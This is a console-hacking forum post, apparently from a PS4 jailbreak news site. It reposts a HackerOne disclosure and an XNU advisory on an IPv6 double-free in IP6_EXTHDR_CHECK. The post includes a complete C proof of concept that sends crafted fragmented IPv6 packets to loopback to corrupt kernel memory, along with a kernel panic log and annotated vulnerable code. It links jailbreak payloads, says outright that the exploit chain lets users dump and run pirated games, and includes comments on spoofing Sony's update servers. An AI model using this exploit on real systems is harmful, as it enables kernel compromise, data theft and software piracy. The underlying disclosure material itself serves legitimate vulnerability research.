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Following his previous PS4 7.02 Kernel Exploit (KEX), the PS4 7.02 / 7.51 / 7.55 WebKit Exploit, PS4 7.02 Full Stack and PS4JB 7.02 Jailbreak today developer theflow0 via bug bounty site HackerOne.com publicly disclosed a PS4 vulnerability he reported this past July that when properly chained with a WebKit Exploit allows for dumping and running PS4 game backups! 😍

:alert: It's important to note that PS4 Scene developers recommend NOT updating your PlayStation 4 Firmware at this time! :alert:

Download: 7.55&8.00-Payloads.7z (33.97 KB) via Al Azif / Patches755-Loader.cpp / Patches755-Kernel.cpp / ps4punch.7.55.rar (725.65 KB) / 4.00-8.00-Payloads.7z (34.68 KB) / ipv6-df-2.c - FreeBSD 9 PoC of kernel code execution using the new TheFlow vulnerability via Asciinema.org / Linux Loader 7.55 / PS4JB Payloads

Current 7.55 / 8.00 PS4 Payloads Include:
  • app2usb.bin
  • app-dumper.bin
  • backup.bin
  • disable-aslr.bin
  • disable-updates.bin
  • enable-browser.bin
  • enable-updates.bin
  • fan-threshold.bin
  • ftp.bin
  • history-blocker.bin
  • kernel-clock.bin
  • kernel-dumper.bin
  • module-dumper.bin
  • restore.bin
  • rif-renamer.bin
From theflow0 via HackerOne.com, to quote: SOCK_RAW sockets reachable from Webkit process allows triggering double free in IP6_EXTHDR_CHECK

Summary


Memory corruption can be achieved by sending fragmented IPv6 packets to loopback interface due to poor and inconsistent use of IP6_EXTHDR_CHECK.

The macro IP6_EXTHDR_CHECK can free the mbuf if the packet is sent to loopback interface. This fact is not considered in dest6_input(), frag6_input() and more. For example in dest6_input(), the double pointer is not updated:
Code:
int
dest6_input(struct mbuf **mp, int *offp, int proto)
{
struct mbuf *m = *mp;
...
IP6_EXTHDR_CHECK(m, off, sizeof(*dstopts), return IPPROTO_DONE);
...
*offp = off;
return dstopts->ip6d_nxt;
}
Hence, when parsing next headers, the mbuf can be free'd once again, leading to a double free which behaves like a use-after-free when we allocate mbuf's again.

Normally, this path would not be triggerable, because sending to loopback interface requires SOCK_RAW root privileges. However, for some reason on the PS4 SOCK_RAW sockets can be opened in Webkit process!
  • Attached is poc.c which must run with root privileges on a FreeBSD 9 machine. It demonstrates being able to escalate privileges to kernel.
  • Attached is also ps4.c which is slightly adjusted to work on the PS4 (you'd need to add includes etc to be able to compile it with your official ***, I compiled it with a custom framework).
The reliability of poc.c is very high, around 80%, whereasps4.c is not very high, I guess around 20%.

Impact
  • In conjunction with a WebKit exploit, a fully chained remote attack can be achieved.
  • It is possible to steal/manipulate user data.
  • Dump and run p!rated games.
And from sirdarckcat via Github.com comes the PoC source code, as follows: XNU: Multiple IP6_EXTHDR_CHECK Use-After-Free/Double Free Vulnerabilities

Summary


Memory corruption can be achieved by sending fragmented IPv6 packets to loopback interface due to poor and inconsistent use of IP6_EXTHDR_CHECK.

Severity

We deem this vulnerability as medium. While the Proof Of Concept requires root privileges in order to open a SOCK_RAW socket to send fragmented packets, these vulnerabilities may also be reachable with user privileges or even from sandbox. It can also be potentially triggered remotely if packets are configured to be forwarded to loopback.

Proof Of Concept

Attached is a Proof Of Concept which targets the dest6_input path. While the provided kernel panics below are from xnu-6041.0.0.111.5, we have reverse engineered the latest kernel and verified that all the vulnerabilities are still present.

Panic log:
Code:
panic(cpu 1 caller 0xffffff800daeac38): "m_free: freeing an already freed mbuf"@/BuildRoot/Library/Caches/com.apple.xbs/Sources/xnu/xnu-6041.0.0.111.5/bsd/kern/uipc_mbuf.c:3793
Backtrace (CPU 1), Frame : Return Address
0xffffff80be07b750 : 0xffffff800d55b12b mach_kernel : _handle_debugger_trap + 0x47b
0xffffff80be07b7a0 : 0xffffff800d690a95 mach_kernel : _kdp_i386_trap + 0x155
0xffffff80be07b7e0 : 0xffffff800d68271b mach_kernel : _kernel_trap + 0x4fb
0xffffff80be07b830 : 0xffffff800d501bb0 mach_kernel : _return_from_trap + 0xe0
0xffffff80be07b850 : 0xffffff800d55a817 mach_kernel : _DebuggerTrapWithState + 0x17
0xffffff80be07b950 : 0xffffff800d55abf6 mach_kernel : _panic_trap_to_debugger + 0x216
0xffffff80be07b9a0 : 0xffffff800dcd2939 mach_kernel : _panic + 0x61
0xffffff80be07ba10 : 0xffffff800daeac38 mach_kernel : _m_retryhdr + 0x3f8
0xffffff80be07ba30 : 0xffffff800d9c8248 mach_kernel : _icmp6_input + 0xe8
0xffffff80be07bb60 : 0xffffff800d9dae69 mach_kernel : _ip6_input + 0xfd9
0xffffff80be07bcf0 : 0xffffff800d9d9dbd mach_kernel : _ip6_init + 0x76d
0xffffff80be07bd30 : 0xffffff800d868e85 mach_kernel : _proto_input + 0xd5
0xffffff80be07bd60 : 0xffffff800d830dc9 mach_kernel : _loopattach + 0xc89
0xffffff80be07bd80 : 0xffffff800d8220f6 mach_kernel : _ifnet_notify_data_threshold + 0x1646
0xffffff80be07bdb0 : 0xffffff800d821d91 mach_kernel : _ifnet_notify_data_threshold + 0x12e1
0xffffff80be07bf40 : 0xffffff800d82231e mach_kernel : _ifnet_datamov_end + 0x1fe
0xffffff80be07bfa0 : 0xffffff800d50113e mach_kernel : _call_continuation + 0x2e
Run this code as root:
Code:
#include <errno.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <net/if_var.h>
#include <netinet/ip6.h>

struct packet1 {
struct ip6_hbh hbh;
struct ip6_opt hbh_opt;
uint8_t hbh_pad[4];
struct ip6_frag frag;
struct ip6_dest dest;
struct ip6_opt dest_opt;
uint8_t dest_pad[4];
};

struct packet2 {
struct ip6_hbh hbh;
struct ip6_opt hbh_opt;
uint8_t hbh_pad[4];
struct ip6_frag frag;
struct ip6_opt dest_opt;
uint8_t dest_pad[6];
uint8_t payload[16];
};

int main(int argc, char *argv[]) {
struct sockaddr_in6 daddr;
struct packet1 packet1;
struct packet2 packet2;
int s, id, res;

srand(time(NULL));
id = rand();

s = socket(AF_INET6, SOCK_RAW, IPPROTO_HOPOPTS);
if (s < 0) {
perror("socket");
return 1;
}

memset(&daddr, 0, sizeof(daddr));
daddr.sin6_family = AF_INET6;
daddr.sin6_port = 0;
inet_pton(AF_INET6, "::1", &daddr.sin6_addr);

memset(&packet1, 'A', sizeof(struct packet1));
packet1.hbh.ip6h_nxt = IPPROTO_FRAGMENT;
packet1.hbh.ip6h_len = 0;
packet1.hbh_opt.ip6o_type = IP6OPT_PADN;
packet1.hbh_opt.ip6o_len = 4;
packet1.frag.ip6f_nxt = IPPROTO_DSTOPTS;
packet1.frag.ip6f_reserved = 0;
packet1.frag.ip6f_offlg = htons(0) | IP6F_MORE_FRAG;
packet1.frag.ip6f_ident = id;
// Use IPPROTO_RAW for "assertion failed: m->m_flags & M_PKTHDR" panic
// Use IPPROTO_ICMPV6 for "m_free: freeing an already freed mbuf" panic
packet1.dest.ip6d_nxt = IPPROTO_ICMPV6;
packet1.dest.ip6d_len = 1;
packet1.dest_opt.ip6o_type = IP6OPT_PADN;
packet1.dest_opt.ip6o_len = 4;

memset(&packet2, 'B', sizeof(struct packet2));
packet2.hbh.ip6h_nxt = IPPROTO_FRAGMENT;
packet2.hbh.ip6h_len = 0;
packet2.hbh_opt.ip6o_type = IP6OPT_PADN;
packet2.hbh_opt.ip6o_len = 4;
packet2.frag.ip6f_nxt = IPPROTO_DSTOPTS;
packet2.frag.ip6f_reserved = 0;
packet2.frag.ip6f_offlg = htons(8);
packet2.frag.ip6f_ident = id;
packet2.dest_opt.ip6o_type = IP6OPT_PADN;
packet2.dest_opt.ip6o_len = 6;

res = sendto(s, (char *)&packet1, sizeof(packet1), 0,
(struct sockaddr *)&daddr, (socklen_t)sizeof(daddr));
if (res < 0) {
perror("sendto");
return 1;
}

res = sendto(s, (char *)&packet2, sizeof(packet2), 0,
(struct sockaddr *)&daddr, (socklen_t)sizeof(daddr));
if (res < 0) {
perror("sendto");
return 1;
}

close(s);
return 0;
}
Analysis

All code snippets are taken from latest xnu-6153.11.26.

Background

The macro IP6_EXTHDR_CHECK ensures that region between the IP6 header and the target header are continuous.
Code:
#define IP6_EXTHDR_CHECK(m, off, hlen, action) \
do { \
if ((m)->m_next != NULL) { \
if (((m)->m_flags & M_LOOP) && \
((m)->m_len < (off) + (hlen)) && \
(((m) = m_pullup((m), (off) + (hlen))) == NULL)) { \
ip6stat.ip6s_exthdrtoolong++; \
action; \
} else if ((m)->m_flags & M_EXT) { \
if ((m)->m_len < (off) + (hlen)) { \
ip6stat.ip6s_exthdrtoolong++; \
m_freem(m); \
(m) = NULL; \
action; \
} \
} else { \
...
} \
} while (0)
A remote packet is dropped if there is not enough space available. However, for a packet received from loopback, it calls m_pullup and attempts to rearrange the mbuf chain, such that data from 0 to off+hlen is contained in a single mbuf.
Code:
struct mbuf *
m_pullup(struct mbuf *n, int len)
{
...
if ((n->m_flags & M_EXT) == 0 &&
...
} else {
if (len > MHLEN) {
goto bad;
}
_MGET(m, M_DONTWAIT, n->m_type);
if (m == 0) {
goto bad;
}
m->m_len = 0;
if (n->m_flags & M_PKTHDR) {
M_COPY_PKTHDR(m, n);
n->m_flags &= ~M_PKTHDR;
}
}
space = &m->m_dat[MLEN] - (m->m_data + m->m_len);
do {
...
if (n->m_len != 0) {
n->m_data += count;
} else {
n = m_free(n);
}
} while (len > 0 && n != NULL);
if (len > 0) {
(void) m_free(m);
goto bad;
}
m->m_next = n;
return m;
bad:
m_freem(n);
MPFail++;
return 0;
}
If m_pullup succeeds, nodes of the mbuf chain that cover the len bytes are free'd and the new head of the mbuf is returned. Then, it is assigned to m in IP6_EXTHDR_CHECK.

Vulnerabilities

Unfortunately, the use of IP6_EXTHDR_CHECK is very poor and inconsistent. There exist 10 different subroutines spread across the ipv6 network subsystem which do not take into consideration that some nodes of the mbuf may have been free'd.
  • In these 2 subroutines, we may trigger a Double Free:
    • dest6_input
    • route6_input
  • In these 4 subroutines, we may trigger a Write-After-Free:
    • frag6_input
    • icmp6_redirect_input
    • nd6_na_input
    • nd6_ns_input
  • In these 4 subroutines, we may trigger a Read-After-Free:
    • ah6_input
    • mld_input
    • nd6_ra_input
    • nd6_rs_input
Triggering m_free

In order to free nodes of the mbuf chain, the following conditions must hold true:
  • m_flags must have M_LOOP set: this can be achieved by sending a packet to loopback device.
  • The packet, especially its extension header, must be split across multiple mbufs: this can be achieved by sending fragmented packets. frag6_input will then link the nodes using t->m_next = IP6_REASS_MBUF(af6);.
  • The mbuf must not use its internal data but rather an attached mbuf cluster. This seems to be the default behavior.
  • The offset of the split header plus its size must not exceed MHLEN.
Reachability

While the Proof Of Concept requires root privileges in order to open a SOCK_RAW socket to send fragmented packets, these vulnerabilities may also be reachable with user privileges or even from sandbox. We spent a bit of time investigating the possibility of a remote attack. Indeed, if a user configures his ipfw to redirect/forward to loopback, it may be possible to trigger them as well.

Case Studies

Below, code snippets of the corresponding vulnerabilities are shown. Important lines are annotated with [X], however without comments since the mistakes should be obvious.

Double Free

In the following two subroutines, a double pointer mp is passed, but *mp is not updated after IP6_EXTHDR_CHECK. These are parsers of extension headers, and hence they can be followed by yet another target parser which can free m once again, thus leading to a double free. Moreover, since m_pullup removes the flag M_PKTHDR, we essentially have a Type Confusion. It may be possible to dereference untrusted pointers of struct pkthdr.

dest6_input
Code:
int
dest6_input(struct mbuf **mp, int *offp, int proto)
{
struct mbuf *m = *mp;
...
IP6_EXTHDR_CHECK(m, off, sizeof(*dstopts), return IPPROTO_DONE);    [1]
...
*offp = off;
return dstopts->ip6d_nxt;
}
route6_input
Code:
int
route6_input(struct mbuf **mp, int *offp, int proto)
{
struct mbuf *m = *mp;
...
IP6_EXTHDR_CHECK(m, off, sizeof(*rh), return IPPROTO_DONE);        [1]
...
*offp += rhlen;
return rh->ip6r_nxt;
}
Write-After-Free

In the following four subroutines, the content of the stale mbuf can be modified by in6_setscope or by directly writing to s6_addr16[1]. By racing with an other thread that sprays mbuf's, it may be possible to reclaim the mbuf and corrupt data.
Code:
int
in6_setscope(struct in6_addr *in6, struct ifnet *ifp, u_int32_t *ret_id)
{
...
if (IN6_IS_SCOPE_LINKLOCAL(in6) || IN6_IS_ADDR_MC_INTFACELOCAL(in6)) {
in6->s6_addr16[1] = htons(zoneid & 0xffff); /* XXX */
}
return 0;
}
frag6_input
Code:
int
frag6_input(struct mbuf **mp, int *offp, int proto)
{
...
ip6 = mtod(m, struct ip6_hdr *);                    [1]
IP6_EXTHDR_CHECK(m, offset, sizeof(struct ip6_frag), goto done);    [2]
ip6f = (struct ip6_frag *)((caddr_t)ip6 + offset);            [3]
...
if (ip6f->ip6f_nxt == IPPROTO_UDP &&                    [4]
...) {
...
if (start != offset || trailer != 0) {
uint16_t s = 0, d = 0;

if (IN6_IS_SCOPE_EMBED(&ip6->ip6_src)) {
s = ip6->ip6_src.s6_addr16[1];
ip6->ip6_src.s6_addr16[1] = 0;            [5]
}
...
}
...
}
...
}
icmp6_redirect_input
Code:
void
icmp6_redirect_input(struct mbuf *m, int off)
{
...
ip6 = mtod(m, struct ip6_hdr *);                    [1]
...
IP6_EXTHDR_CHECK(m, off, icmp6len, return );                [2]
nd_rd = (struct nd_redirect *)((caddr_t)ip6 + off);            [3]

redtgt6 = nd_rd->nd_rd_target;
reddst6 = nd_rd->nd_rd_dst;

if (in6_setscope(&redtgt6, m->m_pkthdr.rcvif, NULL) ||            [4]
in6_setscope(&reddst6, m->m_pkthdr.rcvif, NULL)) {
goto freeit;
}
...
}
nd6_na_input
Code:
void
nd6_na_input(struct mbuf *m, int off, int icmp6len)
{
...
struct ip6_hdr *ip6 = mtod(m, struct ip6_hdr *);            [1]
...
IP6_EXTHDR_CHECK(m, off, icmp6len, return );                [2]
nd_na = (struct nd_neighbor_advert *)((caddr_t)ip6 + off);        [3]
m->m_pkthdr.pkt_flags |= PKTF_INET6_RESOLVE;

flags = nd_na->nd_na_flags_reserved;
is_router = ((flags & ND_NA_FLAG_ROUTER) != 0);
is_solicited = ((flags & ND_NA_FLAG_SOLICITED) != 0);
is_override = ((flags & ND_NA_FLAG_OVERRIDE) != 0);

taddr6 = nd_na->nd_na_target;
if (in6_setscope(&taddr6, ifp, NULL)) {                    [4]
goto bad;       /* XXX: impossible */
}
...
}
nd6_ns_input
Code:
void
nd6_ns_input(
struct mbuf *m,
int off,
int icmp6len)
{
...
struct ip6_hdr *ip6 = mtod(m, struct ip6_hdr *);            [1]
...
IP6_EXTHDR_CHECK(m, off, icmp6len, return );                [2]
nd_ns = (struct nd_neighbor_solicit *)((caddr_t)ip6 + off);        [3]
m->m_pkthdr.pkt_flags |= PKTF_INET6_RESOLVE;

ip6 = mtod(m, struct ip6_hdr *); /* adjust pointer for safety */
taddr6 = nd_ns->nd_ns_target;
if (in6_setscope(&taddr6, ifp, NULL) != 0) {                [4]
goto bad;
}
...
}
Read-After-Free

In the following four subroutines, no write to the mbuf, i.e. memory corruption, has been identified. Yet, it may be possible to leak kernel memory.

ah6_input
Code:
int
ah6_input(struct mbuf **mp, int *offp, int proto)
{
...
IP6_EXTHDR_CHECK(m, off, sizeof(struct ah), {return IPPROTO_DONE;});    [1]
ah = (struct ah *)(void *)(mtod(m, caddr_t) + off);            [2]
...
{
...
IP6_EXTHDR_CHECK(m, off, sizeof(struct ah) + sizoff + siz1,    [3]
{return IPPROTO_DONE;});
}
...
if ((sav->flags & SADB_X_EXT_OLD) == 0 && sav->replay[0] != NULL) {
if (ipsec_updatereplay(ntohl(((struct newah *)ah)->ah_seq), sav, 0)) {    [4]
IPSEC_STAT_INCREMENT(ipsec6stat.in_ahreplay);
goto fail;
}
}
...
}
mld_input
Code:
int
mld_input(struct mbuf *m, int off, int icmp6len)
{
...
ip6 = mtod(m, struct ip6_hdr *);                    [1]
IP6_EXTHDR_CHECK(m, off, mldlen, return IPPROTO_DONE);            [2]
IP6_EXTHDR_GET(mld, struct mld_hdr *, m, off, mldlen);            [3]
if (mld == NULL) {
icmp6stat.icp6s_badlen++;
return IPPROTO_DONE;
}
...
switch (mld->mld_type) {
case MLD_LISTENER_QUERY:
icmp6_ifstat_inc(ifp, ifs6_in_mldquery);
if (icmp6len == sizeof(struct mld_hdr)) {
if (mld_v1_input_query(ifp, ip6, mld) != 0) {        [4]
return 0;
}
}
...
break;
...
}

return 0;

}

nd6_ra_input

void
nd6_ra_input(
struct mbuf *m,
int off,
int icmp6len)
{
...
struct ip6_hdr *ip6 = mtod(m, struct ip6_hdr *);            [1]
...
IP6_EXTHDR_CHECK(m, off, icmp6len, return );                [2]
nd_ra = (struct nd_router_advert *)((caddr_t)ip6 + off);        [3]
...
}
nd6_rs_input
Code:
void
nd6_rs_input(
struct mbuf *m,
int off,
int icmp6len)
{
...
struct ip6_hdr *ip6 = mtod(m, struct ip6_hdr *);            [1]
...
IP6_EXTHDR_CHECK(m, off, icmp6len, return );                [2]
nd_rs = (struct nd_router_solicit *)((caddr_t)ip6 + off);        [3]
...
}
Credits
:idea: Be sure to follow the PSXHAX Member Verification & PS4 Fake PKG (FPKG) Sharing Guide to become a Verified Member by getting a Blue Verified Badge (FAQ in the spoiler HERE) through our PSXHAX Floating Discord Channel to access private or restricted areas for the latest FPKG games and backports! 🏴‍☠️
Cheers to nikeymikey for the heads-up of this PS4Scene news earlier on! 🍻
PS4 Exploit Disclosed via TheFloW & PS4 7.55 8.00 Payloads - Don't Update!.jpg
 

Comments

My understanding is the 'check' is hard-coded to revert to the current highest released OFW from Sony's servers.

In a case where the console isn't online, it'll likely nag for an Internet connection before reverting... but lets see what he says to clarify it. ;)
 
AFAIK It’s not an online check (unless it really has changed), it was hard coded in the beta firmware. Sony never require anyone to be online for set up or upgrade, so idk if they changed the beta specification after 6.20 days.

Examples:

If you were on 5.05 today, and somehow installed the latest 8.xx beta without being online (and without invitation) it should still ask for 8.03 OFW to “roll back” to.

If you were on 5.05 today and installed the 5.50 beta (via tricky methods) it should allow you to roll back to 5.05.
 
Similar to what he asked HERE, do you know if anyone recently tried updating from their current PS4 OFW to a higher PS4 BETA FW in order to get a game running that required a newer Firmware version... and then was able to rollback to their older original PS4 OFW (not the latest 8.03) successfully?

I'd be surprised if that's possible, as it would be a lot simpler than the PS4 Firmware Reverting / Regression Method that requires data backups and soldering.
 
This sounds great, I always updated my version, as I was too unpatient. I can only hope for a WebKit exploit to come out soon. Did I understand this correct, that my Version 8.00 Console will be Jailbreakable, if a WebKit Exploit is found ?
 
I got a PS4 with 7.51 some months ago and let it collect dust (just set it up once without internet and stuff to check if it works as i got it from Ebay) because i didnt have any games either way. Best decision of my life as it seems haha, really excited when the fully working exploit gets released. Fingers crossed, these guys are geniuses :)
 
Yeah it's just odd. I just assumed when they said hard coded it means that the rollback version is hard coded into the beta firmware. Since 8.00 beta was released at the time of 7.55 being the latest, I would assume 7.55 version is what 8.00 beta to allow rollback to.

@gg00n we suspect that the latest KEX only works up to 7.55 based the timing of bug resolution on hackerone. We will only know if it works on 8.00 if someone test it on that firmware once the exploit is released.
 
@PSXHAX no I haven’t heard of this working.... Yet.

Technically there should be low betas for 8.00 that do roll back to 7.5x, and by law of averages there must be someone who stayed on 8.00 beta 1, from back in the day, who could potentially test this. When 7.55 KEX comes out.

Relies on too much fore-planning for me lol.
 
I spoke with @Andrew Marques about this to see if he could recall any further details as he was in the PS4 Beta program, but unfortunately most unanswered questions still remain unanswered. :confused:

Apparently the PS4 BETA program may be over, but if another surfaces he says he'll document everything properly next round.

To the best of his recollection, here are details from the last PS4 BETA program he was in:
  • He was on 7.50 OFW or 7.51 OFW before updating to the 8.00 PS4 BETA.
  • His PS4 BETA Tester account needed to be linked online in the PlayStation Preview Program.
  • When the PS4 8.00 BETA ended, he was offered to rollback to either 7.50/7.55 on the screen, and once reverted he was unable to 'rollback' again.
  • Even being in their program, he's currently unable to install a PS4 BETA PUP again now (apparently it just doesn't work, with no error code that he can recall).
Here are a few related videos he did while in the last PS4 BETA:

Spoiler

As we know it's hard-coded to only allow rolling back to the highest current PS4 OFW version(s), and doesn't appear publicly researched further beyond the Updater Toolkit and OrbisSWU findings.

For example, if someone was to Wireshark the process of rolling back to see where the 'hardcoded data' is pulled from, then with some trickery perhaps that location / server could be emulated or DNS-spoofed to a local host... but until another PS4 BETA becomes available (if it ever does) I suppose we'll be left wondering.
 
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